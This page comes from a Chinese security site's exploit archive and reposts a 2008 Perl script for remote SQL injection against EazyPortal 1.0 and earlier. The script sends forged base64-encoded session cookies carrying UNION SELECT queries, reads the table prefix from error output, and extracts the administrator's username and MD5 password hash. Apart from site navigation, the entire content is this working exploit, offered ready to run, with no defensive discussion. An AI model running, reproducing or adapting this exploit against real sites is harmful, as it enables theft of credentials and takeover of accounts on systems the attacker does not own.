首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
EazyPortal <= 1.0 (COOKIE) Remote SQL Injection Exploit
来源:http://www.randombase.com 作者:Iron 发布时间:2008-02-28  
#!/usr/bin/perl
#
# Vendor url: http://www.eazyportal.com/
#
# by Iron - http://www.randombase.com
#
# exploit goes through $_COOKIE
#
use LWP::UserAgent;
use MIME::Base64;

print "#
# EazyPortal <= 1.0 SQL Injection Exploit
# By Iron - www.randombase.com
# Greets to everyone at RootShell Security Group
#
# Example target url: http://www.target.com/Portal/
Target url?";
chomp($target=<stdin>);
if($target !~ /^http:\/\//)
{
$target = "http://".$target;
}
if($target !~ /\/$/)
{
$target .= "/";
}
print "User id to retrieve name/password from? (1 = admin by default)";
chomp($target_id=<stdin>);
print "\n[+]Retrieving table prefix...";
@header = ('Cookie' => ' session_vars=YTo2OntzOjU6InVuYW1lIjtzOjEyOiInIEVSUk9SIFpPTUciO3M6NDoidXB3ZCI7czozMjoiMDk4ZjZiY2Q0NjIxZDM3M2NhZGU0ZTgzMjYyN2I0ZjYiO3M6MzoidWlkIjtzOjE6IjEiO3M6NDoidWdtdCI7czoyOiIrMCI7czoxMDoidWxhc3R2aXNpdCI7czoxMDoiMTIwNDA0NjIwNiI7czo0OiJwcml2IjthOjk6e3M6NDoibmV3cyI7czo0OiJuZXdzIjtzOjU6InBvbGxzIjtzOjI6InBvIjtzOjc6Im1haWxpbmciO3M6MjoibWEiO3M6NToicGFnZXMiO3M6MjoicGEiO3M6NToidXNlcnMiO3M6MjoidXMiO3M6ODoic2V0dGluZ3MiO3M6Mjoic2UiO3M6NToiZm9ydW0iO3M6MjoiZm8iO3M6NjoiYmxvY2tzIjtzOjI6ImJsIjtzOjg6ImRvd25sb2FkIjtzOjI6ImRvIjt9fQ==');
$ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->env_proxy;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12");
$response = $ua->get($target, @header);
if ($response->is_success)
{
#print $response->content;
if($response->content =~ /select \* from (.*)users where ustatus/i)
{
print "\n[+]Got prefix: $1";
$prefix = $1;
}
else
{
print "\n[-]Failed, trying empty prefix.";
$prefix = "";
}
}
else
{
die "Error: ".$response->status_line;
}
print "\n[+]Building cookie";
$query = "lalalalalala' UNION SELECT upwd,upwd,upwd,upwd,upwd,upwd,upwd,upwd,upwd,upwd,upwd,upwd,upwd,upwd,upwd FROM ".$prefix."users WHERE 1=1 AND uid ='".$target_id; #fucked up query but it works :)
$cookie = encode_base64('a:6:{s:5:"uname";s:'.length($query).':"'.$query.'";s:4:"upwd";s:17:"\' OR upwd != \'lol";s:3:"uid";s:1:"1";s:4:"ugmt";s:2:"+0";s:10:"ulastvisit";s:10:"1204046206";s:4:"priv";a:9:{s:4:"news";s:4:"news";s:5:"polls";s:2:"po";s:7:"mailing";s:2:"ma";s:5:"pages";s:2:"pa";s:5:"users";s:2:"us";s:8:"settings";s:2:"se";s:5:"forum";s:2:"fo";s:6:"blocks";s:2:"bl";s:8:"download";s:2:"do";}}');
$cookie =~ s/\n//g;
$logincookie = $cookie;
print "\n[+]Eating cookie :P";
print "\n[+]Retrieving password";
@header = ('Cookie' => 'session_vars='.$cookie);
$response = $ua->get($target, @header);
if ($response->is_success)
{
if($response->content =~ /([a-f0-9]{32})/i)
{
$p = $1;
}
else
{
print "\n[-]Exploit failed :'(";
exit;
}
}
else
{
die "Error: ".$response->status_line;
}
print "\n[+]Retrieving username";
$query = "lalalalalala' UNION SELECT uname,uname,uname,uname,uname,uname,uname,uname,uname,uname,uname,uname,uname,uname,uname FROM ".$prefix."users WHERE 1=1 AND uid ='".$target_id;
$cookie = encode_base64('a:6:{s:5:"uname";s:'.length($query).':"'.$query.'";s:4:"upwd";s:17:"\' OR upwd != \'lol";s:3:"uid";s:1:"1";s:4:"ugmt";s:2:"+0";s:10:"ulastvisit";s:10:"1204046206";s:4:"priv";a:9:{s:4:"news";s:4:"news";s:5:"polls";s:2:"po";s:7:"mailing";s:2:"ma";s:5:"pages";s:2:"pa";s:5:"users";s:2:"us";s:8:"settings";s:2:"se";s:5:"forum";s:2:"fo";s:6:"blocks";s:2:"bl";s:8:"download";s:2:"do";}}');
$cookie =~ s/\n//g;
@header = ('Cookie' => 'session_vars='.$cookie);
$response = $ua->get($target, @header);
if ($response->is_success)
{
if($response->content =~ />Log Out \((.*)\)<\/a>/i)
{
print "\n[+]Exploit succeeded!";
print "\n"."#" x 50 ."\n[+]Username: $1";
print "\n[+]Password: $p"."\n"."#" x 50;
}
else
{
print "\n[-]Exploit only got md5 pass :O";
print "\n[+]Password: $p";
}
# print "\n\n:[+]You can also login with this cookie:\n"."#" x 50 ."\n$logincookie\n"."#" x 50; #uncomment if you have troubles cracking the hash
}
else
{
die "Error: ".$response->status_line;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·D-Link MPEG4 SHM Audio Control
·Centreon <= 1.4.2.3 (get_image
·Nukedit 4.9.x Remote Create Ad
·Symantec BackupExec Calendar C
·Apple Mac OS X xnu <= 1228.3.1
·Galaxy FTP Server 1.0 (Neostra
·Move Networks Quantum Streamin
·千千静听 med 文件格式堆溢出
·DBHcms <= 1.1.4 Remote File In
·Rising Antivirus Online Scanne
·MiniWebSvr 0.0.9a Remote Direc
·MyServer 0.8.11 (204 No Conten
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved